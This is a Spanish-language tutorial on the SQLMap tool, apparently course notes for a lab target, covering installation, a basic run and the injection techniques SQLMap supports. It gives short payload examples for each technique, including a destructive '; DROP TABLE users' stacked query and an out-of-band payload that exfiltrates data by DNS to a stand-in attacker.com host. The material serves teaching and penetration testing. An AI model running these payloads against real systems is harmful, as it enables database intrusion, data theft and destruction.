SQLMap – Automatización de SQL Injection

¿Qué es SQLMap?

SQLMap es una herramienta gratuita y de código abierto escrita en Python, diseñada para automatizar la detección y explotación de SQL Injection (SQLi) 💉.
Se desarrolla activamente desde 2006 y sigue mantenida hoy en día.


🚀 Ejecución básica

python sqlmap.py -u 'http://inlanefreight.htb/page.php?id=5'

Salida inicial:

 ___
 __H__
___ ___[']_____ ___ ___  {1.3.10.41#dev}
|_ -| . [']     | .'| . |
|___|_  [""]_|_|_|__,|  _|
     |_|V...       |_|   http://sqlmap.org
Aviso legal

Usar SQLMap sin autorización es ilegal.
Los desarrolladores no se hacen responsables del mal uso.

SQLMap realiza automáticamente:


⚙️ Funcionalidades principales

SQLMap incluye una gran cantidad de características:


🛠️ Instalación de SQLMap

En distribuciones Linux

sudo apt install sqlmap

Instalación manual

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

Ejecutar:

python sqlmap.py

🗄️ Bases de datos soportadas

SQLMap soporta más DBMS que cualquier otra herramienta de SQLi:

MySQL · Oracle · PostgreSQL · MSSQL · SQLite · IBM DB2 · MariaDB · Firebird · Sybase · SAP MaxDB · Informix · HSQLDB · CockroachDB · TiDB · MemSQL · H2 · Apache Derby · Redshift · MonetDB · Altibase · …

Info

El equipo de SQLMap sigue añadiendo soporte para nuevos gestores.


🔍 Tipos de SQL Injection soportados

SQLMap detecta y explota todos los tipos conocidos de SQLi.
Podemos verlos con:

sqlmap -hh

Técnicas:

Letra Tipo
B Boolean-based blind
E Error-based
U Union query-based
S Stacked queries
T Time-based blind
Q Inline queries

🟢 Boolean-based Blind SQL Injection

Ejemplo:

AND 1=1

Tip

SQLMap distingue TRUE/FALSE mediante diferencias en la respuesta:

  • TRUE → Página normal

  • FALSE → Página con cambios notables

Es la forma más común de SQLi.


🟠 Error-based SQL Injection

Ejemplo:

AND GTID_SUBSET(@@version,0)

Si el DBMS devuelve errores al frontend, SQLMap puede usar esos errores para exfiltrar datos.

DBMS soportados:
MySQL · PostgreSQL · Oracle · MSSQL · Sybase · Vertica · DB2 · Firebird · MonetDB

Note

Es más rápido que otros tipos porque exfiltra chunks de ~200 bytes por petición.


🔵 UNION Query-based SQL Injection

Ejemplo:

UNION ALL SELECT 1,@@version,3

Permite inyectar resultados dentro de la consulta original, por lo que puede recuperar datos muy rápido.

Success

Considerada la técnica más rápida cuando es posible.


🧱 Stacked Queries ( Query Stacking )

Ejemplo:

; DROP TABLE users

Permite ejecutar múltiples consultas en una sola petición.

Warning

No todos los DBMS lo soportan.
MSSQL y PostgreSQL → Sí ✔️
MySQL → Depende del contexto.


🕒 Time-based Blind SQL Injection

Ejemplo:

AND 1=IF(2>1,SLEEP(5),0)

El tiempo de respuesta diferencia TRUE/FALSE.

Tip

Se usa cuando Boolean-based no funciona, especialmente en consultas no selectivas (INSERT, UPDATE, DELETE).


🧩 Inline Queries

Ejemplo:

SELECT (SELECT @@version) FROM ...

Menos común, pues depende de cómo esté programada la aplicación.

SQLMap también lo soporta.


📡 Out-of-Band (OOB) SQL Injection

Ejemplo:

LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\README.txt'))

Usa DNS exfiltration, ideal cuando:

SQLMap genera subdominios como:

<datos>.attacker.com

y exfiltra datos a través del servidor DNS controlado por el atacante.